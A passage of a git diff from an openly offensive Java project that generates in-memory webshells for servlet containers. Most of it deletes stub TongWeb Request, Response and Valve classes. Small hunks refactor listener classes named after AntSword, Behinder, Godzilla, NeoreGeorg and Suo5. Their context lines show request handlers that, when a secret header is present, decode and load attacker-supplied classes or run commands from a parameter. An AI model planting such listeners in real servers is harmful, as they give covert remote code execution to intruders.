- } - - @Override - public String encodeRedirectUrl(String url) { - return ""; - } - - @Override - public void sendError(int sc, String msg) throws IOException { - - } - - @Override - public void sendError(int sc) throws IOException { - - } - - @Override - public void sendRedirect(String location) throws IOException { - - } - - @Override - public void setDateHeader(String name, long date) { - - } - - @Override - public void addDateHeader(String name, long date) { - - } - - @Override - public void setHeader(String name, String value) { - - } - - @Override - public void addHeader(String name, String value) { - - } - - @Override - public void setIntHeader(String name, int value) { - - } - - @Override - public void addIntHeader(String name, int value) { - - } - - @Override - public void setStatus(int sc) { - - } - - @Override - public void setStatus(int sc, String sm) { - - } - - @Override - public int getStatus() { - return 0; - } - - @Override - public String getHeader(String name) { - return ""; - } - - @Override - public Collection getHeaders(String name) { - return Collections.emptyList(); - } - - @Override - public Collection getHeaderNames() { - return Collections.emptyList(); - } - - @Override - public String getCharacterEncoding() { - return ""; - } - - @Override - public String getContentType() { - return ""; - } - - @Override - public ServletOutputStream getOutputStream() throws IOException { - return null; - } - - @Override - public PrintWriter getWriter() throws IOException { - return null; - } - - @Override - public void setCharacterEncoding(String charset) { - - } - - @Override - public void setContentLength(int len) { - - } - - @Override - public void setContentType(String type) { - - } - - @Override - public void setBufferSize(int size) { - - } - - @Override - public int getBufferSize() { - return 0; - } - - @Override - public void flushBuffer() throws IOException { - - } - - @Override - public void resetBuffer() { - - } - - @Override - public boolean isCommitted() { - return false; - } - - @Override - public void reset() { - - } - - @Override - public void setLocale(Locale loc) { - - } - - @Override - public Locale getLocale() { - return null; - } -} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordListener.java index 9f5c32dc..b18c9c17 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordListener.java @@ -56,7 +56,7 @@ public class AntSwordListener extends ClassLoader implements ServletRequestListe try { if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { - HttpServletResponse response = getResponseFromRequest(request); + HttpServletResponse response = (HttpServletResponse) getResponseFromRequest(request); byte[] bytes = base64Decode(request.getParameter(pass)); Object instance = (new AntSwordListener(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance(); instance.equals(new Object[]{request, response}); @@ -65,7 +65,7 @@ public class AntSwordListener extends ClassLoader implements ServletRequestListe } } - private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { + private Object getResponseFromRequest(Object request) throws Exception { return null; } } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderListener.java index 17d5d542..30ce2507 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderListener.java @@ -82,7 +82,7 @@ public class BehinderListener extends ClassLoader implements ServletRequestListe try { if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { - HttpServletResponse response = this.getResponseFromRequest(request); + HttpServletResponse response = (HttpServletResponse) getResponseFromRequest(request); HttpSession session = ((HttpServletRequest) request).getSession(); Map obj = new HashMap(3); obj.put("request", request); @@ -109,7 +109,7 @@ public class BehinderListener extends ClassLoader implements ServletRequestListe } } - private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { + private Object getResponseFromRequest(Object request) throws Exception { return null; } } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java index ff52fdd9..a9d95119 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java @@ -35,7 +35,7 @@ public class CommandListener implements ServletRequestListener { try { String cmd = getParam(request.getParameter(paramName)); if (cmd != null) { - HttpServletResponse servletResponse = this.getResponseFromRequest(request); + HttpServletResponse servletResponse = (HttpServletResponse) getResponseFromRequest(request); InputStream inputStream = getInputStream(cmd); ServletOutputStream outputStream = servletResponse.getOutputStream(); byte[] buf = new byte[8192]; @@ -48,7 +48,7 @@ public class CommandListener implements ServletRequestListener { } } - private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { + private Object getResponseFromRequest(Object request) throws Exception { return null; } } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaListener.java index 298a8966..dd1581a0 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaListener.java @@ -90,7 +90,7 @@ public class GodzillaListener extends ClassLoader implements ServletRequestListe try { if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { - HttpServletResponse response = this.getResponseFromRequest(request); + HttpServletResponse response = (HttpServletResponse) getResponseFromRequest(request); HttpSession session = request.getSession(); byte[] data = base64Decode(request.getParameter(pass)); data = this.x(data, false); @@ -115,7 +115,7 @@ public class GodzillaListener extends ClassLoader implements ServletRequestListe } } - private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { + private Object getResponseFromRequest(Object request) throws Exception { return null; } } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorgListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorgListener.java index daed8249..0685730c 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorgListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorgListener.java @@ -70,7 +70,7 @@ public class NeoreGeorgListener extends ClassLoader implements ServletRequestLis try { if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { - HttpServletResponse response = this.getResponseFromRequest(request); + HttpServletResponse response = (HttpServletResponse) getResponseFromRequest(request); Object[] args = new Object[]{ request, response, @@ -97,7 +97,7 @@ public class NeoreGeorgListener extends ClassLoader implements ServletRequestLis } } - private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { + private Object getResponseFromRequest(Object request) throws Exception { return null; } } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5Listener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5Listener.java index 0a5c8e26..07859bc9 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5Listener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5Listener.java @@ -545,7 +545,7 @@ public class Suo5Listener implements ServletRequestListener, Runnable, HostnameV try { if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { - HttpServletResponse response = getResponseFromRequest(request); + HttpServletResponse response = (HttpServletResponse) getResponseFromRequest(request); String contentType = request.getContentType(); if (contentType == null) { return; @@ -570,7 +570,7 @@ public class Suo5Listener implements ServletRequestListener, Runnable, HostnameV } } - private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { + private Object getResponseFromRequest(Object request) throws Exception { return null; } } diff --git a/memshell/src/main/java/com/tongweb/catalina/Valve.java b/memshell/src/main/java/com/tongweb/catalina/Valve.java deleted file mode 100644 index cf13fdcf..00000000 --- a/memshell/src/main/java/com/tongweb/catalina/Valve.java +++ /dev/null @@ -1,19 +0,0 @@ -package com.tongweb.catalina; - -import com.tongweb.catalina.connector.Request; -import com.tongweb.catalina.connector.Response; - -import javax.servlet.ServletException; -import java.io.IOException; - -public interface Valve { - Valve getNext(); - - void setNext(Valve var1); - - void backgroundProcess(); - - void invoke(Request var1, Response var2) throws IOException, ServletException; - - boolean isAsyncSupported(); -} diff --git a/memshell/src/main/java/com/tongweb/catalina/connector/Request.java b/memshell/src/main/java/com/tongweb/catalina/connector/Request.java deleted file mode 100644 index f40043a4..00000000 --- a/memshell/src/main/java/com/tongweb/catalina/connector/Request.java +++ /dev/null @@ -1,345 +0,0 @@ -package com.tongweb.catalina.connector; - -import javax.servlet.*; -import javax.servlet.http.*; -import java.io.BufferedReader; -import java.io.IOException; -import java.io.UnsupportedEncodingException; -import java.security.Principal; -import java.util.*; - -/** - * @author ReaJason - * @since 2024/12/26 - */ -public class Request implements HttpServletRequest { - @Override - public String getAuthType() { - return ""; - } - - @Override - public Cookie[] getCookies() { - return new Cookie[0]; - } - - @Override - public long getDateHeader(String name) { - return 0; - } - - @Override - public String getHeader(String name) { - return ""; - } - - @Override - public Enumeration getHeaders(String name) { - return null; - } - - @Override - public Enumeration getHeaderNames() { - return null; - } - - @Override - public int getIntHeader(String name) { - return 0; - } - - @Override - public String getMethod() { - return ""; - } - - @Override - public String getPathInfo() { - return ""; - } - - @Override - public String getPathTranslated() { - return ""; - } - - @Override - public String getContextPath() { - return ""; - } - - @Override - public String getQueryString() { - return ""; - } - - @Override - public String getRemoteUser() { - return ""; - } - - @Override - public boolean isUserInRole(String role) { - return false; - } - - @Override - public Principal getUserPrincipal() { - return null; - } - - @Override - public String getRequestedSessionId() { - return ""; - } - - @Override - public String getRequestURI() { - return ""; - } - - @Override - public StringBuffer getRequestURL() { - return null; - } - - @Override - public String getServletPath() { - return ""; - } - - @Override - public HttpSession getSession(boolean create) { - return null; - } - - @Override - public HttpSession getSession() { - return null; - } - - @Override - public boolean isRequestedSessionIdValid() { - return false; - } - - @Override - public boolean isRequestedSessionIdFromCookie() { - return false; - } - - @Override - public boolean isRequestedSessionIdFromURL() { - return false; - } - - @Override - public boolean isRequestedSessionIdFromUrl() { - return false; - } - - @Override - public boolean authenticate(HttpServletResponse response) throws IOException, ServletException { - return false; - } - - @Override - public void login(String username, String password) throws ServletException { - - } - - @Override - public void logout() throws ServletException { - - } - - @Override - public Collection getParts() throws IOException, ServletException { - return Collections.emptyList(); - } - - @Override - public Part getPart(String name) throws IOException, ServletException { - return null; - } - - @Override - public Object getAttribute(String name) { - return null; - } - - @Override - public Enumeration getAttributeNames() { - return null; - } - - @Override - public String getCharacterEncoding() { - return ""; - } - - @Override - public void setCharacterEncoding(String env) throws UnsupportedEncodingException { - - } - - @Override - public int getContentLength() { - return 0; - } - - @Override - public String getContentType() { - return ""; - } - - @Override - public ServletInputStream getInputStream() throws IOException { - return null; - } - - @Override - public String getParameter(String name) { - return ""; - } - - @Override - public Enumeration getParameterNames() { - return null; - } - - @Override - public String[] getParameterValues(String name) { - return new String[0]; - } - - @Override - public Map getParameterMap() { - return Collections.emptyMap(); - } - - @Override - public String getProtocol() { - return ""; - } - - @Override - public String getScheme() { - return ""; - } - - @Override - public String getServerName() { - return ""; - } - - @Override - public int getServerPort() { - return 0; - } - - @Override - public BufferedReader getReader() throws IOException { - return null; - } - - @Override - public String getRemoteAddr() { - return ""; - } - - @Override - public String getRemoteHost() { - return ""; - } - - @Override - public void setAttribute(String name, Object o) { - - } - - @Override - public void removeAttribute(String name) { - - } - - @Override - public Locale getLocale() { - return null; - } - - @Override - public Enumeration getLocales() { - return null; - } - - @Override - public boolean isSecure() { - return false; - } - - @Override - public RequestDispatcher getRequestDispatcher(String path) { - return null; - } - - @Override - public String getRealPath(String path) { - return ""; - } - - @Override - public int getRemotePort() { - return 0; - } - - @Override - public String getLocalName() { - return ""; - } - - @Override - public String getLocalAddr() { - return ""; - } - - @Override - public int getLocalPort() { - return 0; - } - - @Override - public ServletContext getServletContext() { - return null; - } - - @Override - public AsyncContext startAsync() throws IllegalStateException { - return null; - } - - @Override - public AsyncContext startAsync(ServletRequest servletRequest, ServletResponse servletResponse) throws IllegalStateException { - return null; - } - - @Override - public boolean isAsyncStarted() { - return false; - } - - @Override - public boolean isAsyncSupported() { - return false; - } - - @Override - public AsyncContext getAsyncContext() { - return null; - } - - @Override - public DispatcherType getDispatcherType() { - return null; - } -} diff --git a/memshell/src/main/java/com/tongweb/catalina/connector/Response.java b/memshell/src/main/java/com/tongweb/catalina/connector/Response.java deleted file mode 100644 index 22352605..00000000 --- a/memshell/src/main/java/com/tongweb/catalina/connector/Response.java +++ /dev/null @@ -1,196 +0,0 @@ -package com.tongweb.catalina.connector; - -import javax.servlet.ServletOutputStream; -import javax.servlet.http.Cookie; -import javax.servlet.http.HttpServletResponse; -import java.io.IOException; -import java.io.PrintWriter; -import java.util.Collection; -import java.util.Collections; -import java.util.Locale; - -/** - * @author ReaJason - * @since 2024/12/26 - */ -public class Response implements HttpServletResponse { - @Override - public void addCookie(Cookie cookie) { - - } - - @Override - public boolean containsHeader(String name) { - return false; - } - - @Override - public String encodeURL(String url) { - return ""; - } - - @Override - public String encodeRedirectURL(String url) { - return ""; - } - - @Override - public String encodeUrl(String url) { - return ""; - } - - @Override - public String encodeRedirectUrl(String url) { - return ""; - } - - @Override - public void sendError(int sc, String msg) throws IOException { - - } - - @Override - public void sendError(int sc) throws IOException { - - } - - @Override - public void sendRedirect(String location) throws IOException { - - } - - @Override - public void setDateHeader(String name, long date) { - - } - - @Override - public void addDateHeader(String name, long date) { - - } - - @Override - public void setHeader(String name, String value) { - - } - - @Override - public void addHeader(String name, String value) { - - } - - @Override - public void setIntHeader(String name, int value) { - - } - - @Override - public void addIntHeader(String name, int value) { - - } - - @Override - public void setStatus(int sc) { - - } - - @Override - public void setStatus(int sc, String sm) { - - } - - @Override - public int getStatus() { - return 0; - } - - @Override - public String getHeader(String name) { - return ""; - } - - @Override - public Collection getHeaders(String name) { - return Collections.emptyList(); - } - - @Override - public Collection getHeaderNames() { - return Collections.emptyList(); - } - - @Override - public String getCharacterEncoding() { - return ""; - } - - @Override - public String getContentType() { - return ""; - } - - @Override - public ServletOutputStream getOutputStream() throws IOException { - return null; - } - - @Override - public PrintWriter getWriter() throws IOException { - return null; - } - - @Override - public void setCharacterEncoding(String charset) { - - } - - @Override - public void setContentLength(int len) { - - } - - @Override - public void setContentType(String type) { - - } - - @Override - public void setBufferSize(int size) { - - } - - @Override - public int getBufferSize() { - return 0; - } - - @Override - public void flushBuffer() throws IOException { - - } - - @Override - public void resetBuffer() { - - } - - @Override - public boolean isCommitted() { - return false; - } - - @Override - public void reset() { - - } - - @Override - public void setLocale(Locale loc) { - - } - - @Override - public Locale getLocale() { - return null; - } -} diff --git a/memshell/src/main/java/com/tongweb/server/Valve.java b/memshell/src/main/java/com/tongweb/server/Valve.java deleted file mode 100644 index 1238553f..00000000 --- a/memshell/src/main/java/com/tongweb/server/Valve.java +++ /dev/null @@ -1,19 +0,0 @@ -package com.tongweb.server; - -import com.tongweb.server.connector.Request; -import com.tongweb.server.connector.Response; - -import javax.servlet.ServletException; -import java.io.IOException; - -public interface Valve { - Valve getNext(); - - void setNext(Valve var1); - - void backgroundProcess(); - - void invoke(Request var1, Response var2) throws IOException, ServletException; - - boolean isAsyncSupported(); -} diff --git a/memshell/src/main/java/com/tongweb/server/connector/Request.java b/memshell/src/main/java/com/tongweb/server/connector/Request.java deleted file mode 100644 index fd0f4bf7..00000000 --- a/memshell/src/main/java/com/tongweb/server/connector/Request.java +++ /dev/null @@ -1,345 +0,0 @@ -package com.tongweb.server.connector; - -import javax.servlet.*; -import javax.servlet.http.*; -import java.io.BufferedReader; -import java.io.IOException; -import java.io.UnsupportedEncodingException; -import java.security.Principal; -import java.util.*; - -/** - * @author ReaJason - * @since 2024/12/26 - */ -public class Request implements HttpServletRequest { - @Override - public String getAuthType() { - return ""; - } - - @Override - public Cookie[] getCookies() { - return new Cookie[0]; - } - - @Override - public long getDateHeader(String name) { - return 0; - } - - @Override - public String getHeader(String name) { - return ""; - } - - @Override - public Enumeration getHeaders(String name) { - return null; - } - - @Override - public Enumeration getHeaderNames() { - return null; - } - - @Override - public int getIntHeader(String name) { - return 0; - } - - @Override - public String getMethod() { - return ""; - } - - @Override - public String getPathInfo() { - return ""; - } - - @Override - public String getPathTranslated() { - return ""; - } - - @Override - public String getContextPath() { - return ""; - } - - @Override - public String getQueryString() { - return ""; - } - - @Override - public String getRemoteUser() { - return ""; - } - - @Override - public boolean isUserInRole(String role) { - return false; - } - - @Override - public Principal getUserPrincipal() { - return null; - } - - @Override - public String getRequestedSessionId() { - return ""; - } - - @Override - public String getRequestURI() { - return ""; - } - - @Override - public StringBuffer getRequestURL() { - return null; - } - - @Override - public String getServletPath() { - return ""; - } - - @Override - public HttpSession getSession(boolean create) { - return null; - } - - @Override - public HttpSession getSession() { - return null; - } - - @Override - public boolean isRequestedSessionIdValid() { - return false; - } - - @Override - public boolean isRequestedSessionIdFromCookie() { - return false; - } - - @Override - public boolean isRequestedSessionIdFromURL() { - return false; - } - - @Override - public boolean isRequestedSessionIdFromUrl() { - return false; - } - - @Override - public boolean authenticate(HttpServletResponse response) throws IOException, ServletException { - return false; - } - - @Override - public void login(String username, String password) throws ServletException { - - } - - @Override - public void logout() throws ServletException { - - } - - @Override - public Collection getParts() throws IOException, ServletException { - return Collections.emptyList(); - } - - @Override - public Part getPart(String name) throws IOException, ServletException { - return null; - } - - @Override - public Object getAttribute(String name) { - return null; - } - - @Override - public Enumeration getAttributeNames() { - return null; - } - - @Override - public String getCharacterEncoding() { - return ""; - } - - @Override - public void setCharacterEncoding(String env) throws UnsupportedEncodingException { - - } - - @Override - public int getContentLength() { - return 0; - } - - @Override - public String getContentType() { - return ""; - } - - @Override - public ServletInputStream getInputStream() throws IOException { - return null; - } - - @Override - public String getParameter(String name) { - return ""; - } - - @Override - public Enumeration getParameterNames() { - return null; - } - - @Override - public String[] getParameterValues(String name) { - return new String[0]; - } - - @Override - public Map getParameterMap() { - return Collections.emptyMap(); - } - - @Override - public String getProtocol() { - return ""; - } - - @Override - public String getScheme() { - return ""; - } - - @Override - public String getServerName() { - return ""; - } - - @Override - public int getServerPort() { - return 0; - } - - @Override - public BufferedReader getReader() throws IOException { - return null; - } - - @Override - public String getRemoteAddr() { - return ""; - } - - @Override - public String getRemoteHost() { - return ""; - } - - @Override - public void setAttribute(String name, Object o) { - - } - - @Override - public void removeAttribute(String name) { - - } - - @Override - public Locale getLocale() { - return null; - } - - @Override - public Enumeration getLocales() { - return null; - } - - @Override - public boolean isSecure() { - return false; - } - - @Override - public RequestDispatcher getRequestDispatcher(String path) { - return null; - } - - @Override - public String getRealPath(String path) { - return ""; - } - - @Override - public int getRemotePort() { - return 0; - } - - @Override - public String getLocalName() { - return ""; - } - - @Override - public String getLocalAddr() { - return ""; - } - - @Override - public int getLocalPort() { - return 0; - } - - @Override - public ServletContext getServletContext() { - return null; - } - - @Override - public AsyncContext startAsync() throws IllegalStateException { - return null; - } - - @Override - public AsyncContext startAsync(ServletRequest servletRequest, ServletResponse servletResponse) throws IllegalStateException { - return null; - } - - @Override - public boolean isAsyncStarted() { - return false; - } - - @Override - public boolean isAsyncSupported() { - return false; - } - - @Override - public AsyncContext getAsyncContext() { - return null; - } - - @Override - public DispatcherType getDispatcherType() { - return null; - } -} diff --git a/memshell/src/main/java/com/tongweb/server/connector/Response.java b/memshell/src/main/java/com/tongweb/server/connector/Response.java deleted file mode 100644 index e0b4cc19..00000000 --- a/memshell/src/main/java/com/tongweb/server/connector/Response.java +++ /dev/null @@ -1,196 +0,0 @@ -package com.tongweb.server.connector; - -import javax.servlet.ServletOutputStream; -import javax.servlet.http.Cookie; -import javax.servlet.http.HttpServletResponse; -import java.io.IOException; -import java.io.PrintWriter; -import java.util.Collection; -import java.util.Collections; -import java.util.Locale; - -/** - * @author ReaJason - * @since 2024/12/26 - */ -public class Response implements HttpServletResponse { - @Override - public void addCookie(Cookie cookie) { - - } - - @Override - public boolean containsHeader(String name) { - return false; - } - - @Override - public String encodeURL(String url) { - return ""; - } - - @Override - public String encodeRedirectURL(String url) { - return ""; - } - - @Override - public String encodeUrl(String url) { - return ""; - } - - @Override - public String encodeRedirectUrl(String url) { - return ""; - } - - @Override - public void sendError(int sc, String msg) throws IOException { - - } - - @Override - public void sendError(int sc) throws IOException { - - } - - @Override - public void sendRedirect(String location) throws IOException { - - } - - @Override - public void setDateHeader(String name, long date) { - - } - - @Override - public void addDateHeader(String name, long date) { - - } - - @Override - public void setHeader(String name, String value) { - - } - - @Override - public void addHeader(String name, String value) { - - } - - @Override - public void setIntHeader(String name, int value) { - - } - - @Override - public void addIntHeader(String name, int value) { - - } - - @Override - public void setStatus(int sc) { - - } - - @Override - public void setStatus(int sc, String sm) { - - } - - @Override - public int getStatus() { - return 0; - } - - @Override - public String getHeader(String name) { - return ""; - } - - @Override - public Collection getHeaders(String name) { - return Collections.emptyList(); - } - - @Override - public Collection getHeaderNames() { - return Collections.emptyList(); - } - - @Override - public String getCharacterEncoding() { - return ""; - } - - @Override - public String getContentType() { - return ""; - } - - @Override - public ServletOutputStream getOutputStream() throws IOException { - return null; - } - - @Override - public PrintWriter getWriter() throws IOException { - return null; - } - - @Override - public void setCharacterEncoding(String charset) { - - } - - @Override - public void setContentLength(int len) { - - } - - @Override - public void setContentType(String type) { - - } - - @Override - public void setBufferSize(int size) { - - } - - @Override - public int getBufferSize() { - return 0; - } - - @Override - public void flushBuffer() throws IOException { - - } - - @Override - public void resetBuffer() { - - } - - @Override - public boolean isCommitted() { - return false; - } - - @Override - public void reset() { - - } - - @Override - public void setLocale(Locale loc) { - - } - - @Override - public Locale getLocale() { - return null; - } -} diff --git a/memshell/src/main/java/com/tongweb/web/thor/Valve.java b/memshell/src/main/java/com/tongweb/web/thor/Valve.java deleted file mode 100644 index f5842572..00000000 --- a/memshell/src/main/java/com/tongweb/web/thor/Valve.java +++ /dev/null @@ -1,24 +0,0 @@ -package com.tongweb.web.thor; - -import com.tongweb.web.thor.comet.CometEvent; -import com.tongweb.web.thor.connector.Request; -import com.tongweb.web.thor.connector.Response; - -import javax.servlet.ServletException; -import java.io.IOException; - -public interface Valve { - String getInfo(); - - Valve getNext(); - - void setNext(Valve var1); - - void backgroundProcess(); - - void invoke(Request var1, Response var2) throws IOException, ServletException; - - void event(Request var1, Response var2, CometEvent var3) throws IOException, ServletException; - - boolean isAsyncSupported(); -} diff --git a/memshell/src/main/java/com/tongweb/web/thor/comet/CometEvent.java b/memshell/src/main/java/com/tongweb/web/thor/comet/CometEvent.java deleted file mode 100644 index fca8ef96..00000000 --- a/memshell/src/main/java/com/tongweb/web/thor/comet/CometEvent.java +++ /dev/null @@ -1,8 +0,0 @@ -package com.tongweb.web.thor.comet; - -/** - * @author ReaJason - * @since 2024/12/26 - */ -public class CometEvent { -} diff --git a/memshell/src/main/java/com/tongweb/web/thor/connector/Request.java b/memshell/src/main/java/com/tongweb/web/thor/connector/Request.java deleted file mode 100644 index 55a9ad28..00000000 --- a/memshell/src/main/java/com/tongweb/web/thor/connector/Request.java +++ /dev/null @@ -1,345 +0,0 @@ -package com.tongweb.web.thor.connector; - -import javax.servlet.*; -import javax.servlet.http.*; -import java.io.BufferedReader; -import java.io.IOException; -import java.io.UnsupportedEncodingException; -import java.security.Principal; -import java.util.*; - -/** - * @author ReaJason - * @since 2024/12/26 - */ -public class Request implements HttpServletRequest { - @Override - public String getAuthType() { - return ""; - } - - @Override - public Cookie[] getCookies() { - return new Cookie[0]; - } - - @Override - public long getDateHeader(String name) { - return 0; - } - - @Override - public String getHeader(String name) { - return ""; - } - - @Override - public Enumeration getHeaders(String name) { - return null; - } - - @Override - public Enumeration getHeaderNames() { - return null; - } - - @Override - public int getIntHeader(String name) { - return 0; - } - - @Override - public String getMethod() { - return ""; - } - - @Override - public String getPathInfo() { - return ""; - } - - @Override - public String getPathTranslated() { - return ""; - } - - @Override - public String getContextPath() { - return ""; - } - - @Override - public String getQueryString() { - return ""; - } - - @Override - public String getRemoteUser() { - return ""; - } - - @Override - public boolean isUserInRole(String role) { - return false; - } - - @Override - public Principal getUserPrincipal() { - return null; - } - - @Override - public String getRequestedSessionId() { - return ""; - } - - @Override - public String getRequestURI() { - return ""; - } - - @Override - public StringBuffer getRequestURL() { - return null; - } - - @Override - public String getServletPath() { - return ""; - } - - @Override - public HttpSession getSession(boolean create) { - return null; - } - - @Override - public HttpSession getSession() { - return null; - } - - @Override - public boolean isRequestedSessionIdValid() { - return false; - } - - @Override - public boolean isRequestedSessionIdFromCookie() { - return false; - } - - @Override - public boolean isRequestedSessionIdFromURL() { - return false; - } - - @Override - public boolean isRequestedSessionIdFromUrl() { - return false; - } - - @Override - public boolean authenticate(HttpServletResponse response) throws IOException, ServletException { - return false; - } - - @Override - public void login(String username, String password) throws ServletException { - - } - - @Override - public void logout() throws ServletException { - - } - - @Override - public Collection getParts() throws IOException, ServletException { - return Collections.emptyList(); - } - - @Override - public Part getPart(String name) throws IOException, ServletException { - return null; - } - - @Override - public Object getAttribute(String name) { - return null; - } - - @Override - public Enumeration getAttributeNames() { - return null; - } - - @Override - public String getCharacterEncoding() { - return ""; - } - - @Override - public void setCharacterEncoding(String env) throws UnsupportedEncodingException { - - } - - @Override - public int getContentLength() { - return 0; - } - - @Override - public String getContentType() { - return ""; - } - - @Override - public ServletInputStream getInputStream() throws IOException { - return null; - } - - @Override - public String getParameter(String name) { - return ""; - } - - @Override - public Enumeration getParameterNames() { - return null; - } - - @Override - public String[] getParameterValues(String name) { - return new String[0]; - } - - @Override - public Map getParameterMap() { - return Collections.emptyMap(); - } - - @Override - public String getProtocol() { - return ""; - } - - @Override - public String getScheme() { - return ""; - } - - @Override - public String getServerName() { - return ""; - } - - @Override - public int getServerPort() { - return 0; - } - - @Override - public BufferedReader getReader() throws IOException { - return null; - } - - @Override - public String getRemoteAddr() { - return ""; - } - - @Override - public String getRemoteHost() { - return ""; - } - - @Override - public void setAttribute(String name, Object o) { - - } - - @Override - public void removeAttribute(String name) { - - } - - @Override - public Locale getLocale() { - return null; - } - - @Override - public Enumeration getLocales() { - return null; - } - - @Override - public boolean isSecure() { - return false; - } - - @Override - public RequestDispatcher getRequestDispatcher(String path) { - return null; - } - - @Override - public String getRealPath(String path) { - return ""; - } - - @Override - public int getRemotePort() { - return 0; - } - - @Override - public String getLocalName() { - return ""; - } - - @Override - public String getLocalAddr() { - return ""; - } - - @Override - public int getLocalPort() { - return 0; - } - - @Override - public ServletContext getServletContext() { - return null; - } - - @Override - public AsyncContext startAsync() throws IllegalStateException { - return null; - } - - @Override - public AsyncContext startAsync(ServletRequest servletRequest, ServletResponse servletResponse) throws IllegalStateException { - return null; - } - - @Override - public boolean isAsyncStarted() { - return false; - } - - @Override - public boolean isAsyncSupported() { - return false; - } - - @Override - public AsyncContext getAsyncContext() { - return null; - } - - @Override - public DispatcherType getDispatcherType() { - return null; - } -} diff --git a/memshell/src/main/java/com/tongweb/web/thor/connector/Response.java b/memshell/src/main/java/com/tongweb/web/thor/connector/Response.java deleted file mode 100644 index ed735f85..00000000 --- a/memshell/src/main/java/com/tongweb/web/thor/connector/Response.java +++ /dev/null @@ -1,196 +0,0 @@ -package com.tongweb.web.thor.connector; - -import javax.servlet.ServletOutputStream; -import javax.servlet.http.Cookie; -import javax.servlet.http.HttpServletResponse; -import java.io.IOException; -import java.io.PrintWriter; -import java.util.Collection; -import java.util.Collections; -import java.util.Locale; - -/** - * @author ReaJason - * @since 2024/12/26 - */ -public class Response implements HttpServletResponse { - @Override - public void addCookie(Cookie cookie) { - - } - - @Override - public boolean containsHeader(String name) { - return false; - } - - @Override - public String encodeURL(String url) { - return ""; - } - - @Override - public String encodeRedirectURL(String url) { - return ""; - } - - @Override - public String encodeUrl(String url) { - return ""; - } - - @Override - public String encodeRedirectUrl(String url) { - return ""; - } - - @Override - public void sendError(int sc, String msg) throws IOException { - - } - - @Override - public void sendError(int sc) throws IOException { - - } - - @Override - public void sendRedirect(String location) throws IOException { - - } - - @Override - public void setDateHeader(String name, long date) { - - } - - @Override - public void addDateHeader(String name, long date) { - - } - - @Override - public void setHeader(String name, String value) { - - } - - @Override - public void addHeader(String name, String value) { - - } - - @Override - public void setIntHeader(String name, int value) { - - } - - @Override - public void addIntHeader(String name, int value) { - - } - - @Override - public void setStatus(int sc) { - - } - - @Override - public void setStatus(int sc, String sm) { - - } - - @Override - public int getStatus() { - return 0; - } - - @Override - public String getHeader(String name) { - return ""; - } - - @Override - public Collection getHeaders(String name) { - return Collections.emptyList(); - } - - @Override - public Collection getHeaderNames() { - return Collections.emptyList(); - } - - @Override - public String getCharacterEncoding() { - return ""; - } - - @Override - public String getContentType() { - return ""; - } - - @Override - public ServletOutputStream getOutputStream() throws IOException { - return null; - } - - @Override - public PrintWriter getWriter() throws IOException { - return null; - } - - @Override - public void setCharacterEncoding(String charset) { - - } - - @Override - public void setContentLength(int len) { - - } - - @Override - public void setContentType(String type) { - - } - - @Override - public void setBufferSize(int size) { - - } - - @Override - public int getBufferSize() { - return 0; - } - - @Override - public void flushBuffer() throws IOException { - - } - - @Override - public void resetBuffer() { - - } - - @Override - public boolean isCommitted() { - return false; - } - - @Override - public void reset() { - - } - - @Override - public void setLocale(Locale loc) { - - } - - @Override - public Locale getLocale() { - return null; - } -}